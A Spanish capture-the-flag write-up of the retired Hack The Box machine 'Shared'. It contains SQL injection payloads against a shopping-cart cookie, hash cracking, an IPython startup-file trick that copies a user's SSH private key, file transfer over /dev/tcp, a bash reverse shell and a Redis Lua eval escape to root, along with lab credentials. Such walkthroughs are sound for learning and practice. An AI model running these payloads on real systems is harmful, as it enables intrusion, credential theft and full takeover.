Shared Write-Up

Fecha de lanzamiento23 Jul 2022
EstadoRetirada
DificultadMedium
PlataformaLinux
IP10.10.11.172

RECONOCIMIENTO

Para la fase de reconocimiento utilizaremos la herramienta nmap.

Procederemos a escanear todo el rango de puertos de la máquina Shared por el protocolo TCP filtrando por aquellos que estén abiertos, aplicando una plantilla de temporizado y rendimiento agresiva e indicando que no necesitamos que se nos aplique resolución DNS para evitar demoras a la hora de nuestro escaneo. Vamos a guardar el archivo con el nombre de OpenPorts.

nmap -p- --open -T5 -n -v 10.10.11.172 -oG OpenPorts

A continuación, vamos a lanzar una serie de scripts básicos de enumeración propios de la herramienta y vamos a tratar de detectar las versiones y los servicios de los puertos que nos ha detectado como abiertos. Guardaremos el output en un fichero con el nombre de targeted para poder volver a consultarlo durante el resto de fases de la intrusión.

nmap -sCV -p22,80,443 10.10.11.172 -oN targeted

EXPLOTACIÓN

Puerto 80 y 443 – HTTP/HTTPS

Si nos fijamos en el script de reconomiento que hemos lanzado con nmap , parece que se está aplicando Virtual Hosting y está redirigiendo la petición web a shared.htb

El virtualhost, o servidor virtual, es una forma de alojamiento web que permite que varias páginas web puedan funcionar en una misma máquina.

Vamos a añadir la dirección IP y el nombre de dominio al que redirige a nuestro archivo local /etc/hosts:

echo "10.10.11.172 shared.htb" >> /etc/hosts

Si entramos de nuevo a la página web, vemos que ahora si que nos carga y que se trata de una web de compras.

Lo siguiente va a ser investigar un poco la web, sus funcionalidades y posibles subdominios que podamos encontrar. Para ello usaremos la herramienta Gobuster usando un diccionario propio de Seclists de subdominios.

gobuster vhost -u http://shared.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 20

Vemos que la herramienta ha encontrado un subdominio, así que para poder visualizarlo lo insertaremos también en nuestro archivo local /etc/hosts/.

echo "10.10.11.172 checkout.shared.htb" >> /etc/hosts

Si nos fijamos, vemos que se trata de una tabla con el nombre de los productos, la cantidad que vamos a comprar y el precio de ellos. Como posiblemente estará utilizando una base de datos por detras, vamos a interceptar la petición mediante la herramienta Burpsuite para poder mandarla al Repeater y estudiar si podemos aprovecharnos de una SQL injection.

burpsuite &>/dev/null &; disown #--> Abrimos el Burpsuite

Una vez abierta la herramienta, configuramos el navegador (bien por medio de FoxyProxy o en los ajustes de proxy) para que nuestro puerto 8080 actue como proxy e intercepte las peticiones.

Si interceptamos la petición y “decodeamos” para ver en formato JSON la cookie con el nombre Custom_cart, podemos observar que nos está indicando el nombre del producto y la cantidad de ese producto a comprar.

Sabiendo esto, podemos tratar de aprovecharnos de la manipulación de las cookies para obtener información de la base de datos existente. Para ello primero mandaremos la petición al Repeater y así poder ir estudiando las diferentes inyecciones que vamos a realizar de forma manual.

Enumerando el numero de campos de la tabla, al probar con 3 campos (‘union select 1,2,3– -) vemos que la respuesta por lado del servidor varía y nos muestra el número indicado en la inyección en los diferentes campos disponibles.

El campo en el cual hemos asignado un dos, es de donde vamos a sacar la información acerca de la base de datos mediante inyecciones SQL:

SQLi – Nombre de la BBDD

'union select 1,database(),3-- -

Mediante esta inyección podemos determinar que el nombre de la base de datos es checkout

SQLi – Nombre de las tablas de la BBDD

'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='checkout'-- -

Mediante esta inyección podemos determinar el nombre de las tablas de la base de datos. Vemos que tenemos dos tablas (user & product). La que nos va a interesar es la primera, por si podemos obtener información acerca de algún usuario.

SQLi – Nombre de las columnas de la tabla «User» de la BBDD

'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='checkout'and table_name='user'-- -

Mediante esta inyección podemos determinar el nombre de las columnas de la tabla ‘User’ de la BBDD. Las info que vamos a dumpear es la de las columnas Username & Password y veremos si encontramos algún tipo de credencial que nos sirva.

SQLi – Datos de las columnas «Username & Password»

'union select 1,group_concat(username,0x3a,password),3 from user--

Mediante esta inyección podemos ver que tenemos un usuario y un hash asociado. Lo guardaremos en un fichero para poder trabajar con ello después.

Credenciales = "james_mason:fc895d4eddc2fc12f995e18c865cf273"

Puerto 22 – SSH

Ahora ya tenemos unas credenciales, pero parece que la contraseña está hasheada. Para verificarlo y comprobar que tipo de hash es, podemos utilizar alguna herramienta tipo Hash-Identifier

Nos lo identifica como MD5, que es un tipo de Hash “Deprecated” y posiblemente podamos obtener la contraseña usando la herramienta John.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=Raw-MD5

Vemos que nos da un resultado válido (Soleil101) y ya tenemos unas credenciales válidas para un usuario al que vamos a tratar de conectarnos por SSH.

ssh james_mason@10.10.11.172

Ya tenemos una terminal como el usuario James Mason con bajos privilegios!


ESCALADA DE PRIVILEGIOS

Pivoting de Usuario

Una vez ya como el usuario James, vemos que en el directorio home no se encuentra la flag y que ésta se encuentra en el directorio de otro usuario (Dan) al que tenemos acceso pero no permisos para ver el archivo. Por lo tanto vamos a tener que pivotar a este usuario para poder ver la flag del usuario.

Haciendo un breve reconocimiento del entorno, llama la atención que nuestro usuario al que hemos impersonalizado pertenece al grupo de Developers.

Por ello vamos a buscar en el equipo archivos/directorios cuyo grupo asignado sea “Developer”.

find / -group developer 2>/dev/null

Podemos ver que tenemos permisos de escritura, lectura y ejecución en este directorio por lo que es posible que podamos aprovecharnos de ello.

A continuación vamos a crear un script para identificar y capturar procesos/tareas que estén corriendo en la máquina. Para ello nos vamos a ir a la carpeta /dev/shm y vamos a crear un archivo touch process.sh con el siguiente contenido y le vamos a dar permisos de ejecución chmod +x process.sh.

#!/bin/bash

old_process=$(ps -eo user,command | uniq)

while true;do
	new_process=$(ps -eo user,command | uniq)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[\>]" | grep -vE "procmon|kworker|uniq"
	old_process=$new_process
done

Si ejecutamos el script, vemos que existe una tarea programada que consiste en que el usuario Dan Smith se dirige al directorio /opt/scripts_review e inicializa dentro el binario ipython.

IPython es un shell interactivo que añade funcionalidades extra al modo interactivo incluido con Python, como resaltado de lineas y errores mediante colores, una sintaxis adicional para el shell, autocompletado mediante tabulador, modulos y atributos; entre otras funcionalidades.

Buceando en Internet, podemos encontrar que existen versiones de IPython que tienen una vulnerabilidad de ejecución de código. Ésta vulnerabilidad permite a un usuario correr código como otro usuario del mismo sistema. Si corremos el comando ipython --version vemos que la versión es la 8.0.0 y que no está parcheada.

Click aquí para ver prueba de concepto de la vulnerabilidad

En este caso como el que ejecuta el servicio es Dan Smith vamos a poder ejecutar código impersonando a este usuario. Lo que haremos será crear dentro de la carpeta donde se ejecuta el servicio un script en Python que nos devuelva en la ruta que nosotros elijamos la clave privada del usuario a impersonar.

mkdir -m 777 /opt/scripts_review/profile_default
mkdir -m 777 /opt/scripts_review/profile_default/startup
echo 'import os; os.system("cat ~/.ssh/id_rsa > /dev/shm/private.txt")' > /opt/scripts_review/profile_default/startup/foo.py

Si nos dirigimos ahora al directorio /dev/shm vamos a ver que se ha creado un archivo txt con la clave privada del usuario Dan Smith. Nos la vamos a copiar, guardar en un fichero en nuestro sistema local y utilizarla para acceder como el usuario.

Recordar asignarle el permiso 600 al archivo mediante el comando chmod 600 id_rsa

ssh -i id_rsa dan_smith@10.10.11.172

Ya podemos acceder a la máquina como el usuario Dan Smith y ver la flag del usuario en /home/dan_smith/user.txt

Elevación de privilegios a ROOT

Una vez ya como el usuario Dan Smith podemos ver mediante el comando id que es miembro del grupo sysadmin, así que vamos a volver a buscar directorios o archivos donde el grupo asignado sea este.

find / -group sysadmin 2>/dev/null

Encontramos un binario que al ejecutarlo se autentica mediante contraseña en Redis y muestra información acerca del servicio.

Redis es un motor de base de datos en memoria, basado en el almacenamiento en tablas de hashes pero que opcionalmente puede ser usada como una base de datos persistente.

Como parece un binario personalizado, donde se realiza una autenticación mediante contraseña, vamos a trasladar este binario a nuestra máquina local para examinarlo más en detalle. Para ello vamos a ponernos en escucha en el equipo local con netcat y vamos a pasar el binario.

#Local
nc -lvnp 443 > redis_connector_dev
#Dan_Smith
cat < /usr/local/bin/redis_connector_dev > /dev/tcp/10.10.14.3/443

Una vez en local, si ejecutamos el binario nos dará un error de connection refused porque nosotros no estamos corriendo en local el servicio de Redis. Pero como se está transmitiendo la password para autenticarse en el servicio, vamos a ver si podemos interceptarla poniendonos en escucha en el puerto en el que se realiza la autenticación (6379).

nc -lvnp 6379

Observamos que se realiza una autenticación y podemos ver una contraseña en texto claro (F2WHqJUz2WEz=Gqq)

Con esto, y aprovechando que el servicio de Redis está siendo ejecutado por el usuario Root, vamos a poder escaparnos de Redis y correr comandos como el usuario que ejecuta el servicio.

Para ello primero vamos a crear un script en bash en la ruta /dev/shm que entable una conexión con nuestro equipo local:

Click para ver Proof of Concept de la vulnerabilidad de Redis

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.3/443 0>&1

A continuación vamos a autenticarnos en Redis con la contraseña que hemos obtenido, y vamos a correr la prueba de concepto y en la parte de ejecución de código, vamos a indicar que nos corra nuestro script creado (primero debemos ponernos en escucha en local en el puerto 443 nc -lvnp 443)

Si todo es correcto recibiremos una conexión entrante en nuestro equipo y ya seremos Root en la máquina víctima y podremos obtener la última flag.

#Local
nc -lvnp 443

#Dan Smith
redis-cli
AUTH F2WHqJUz2WEz=Gqq
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash /dev/shm/script.sh", "r"); local res = f:read("*a"); f:close(); return res' 0
Jorge Escrito por:

Sé el primero en comentar

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *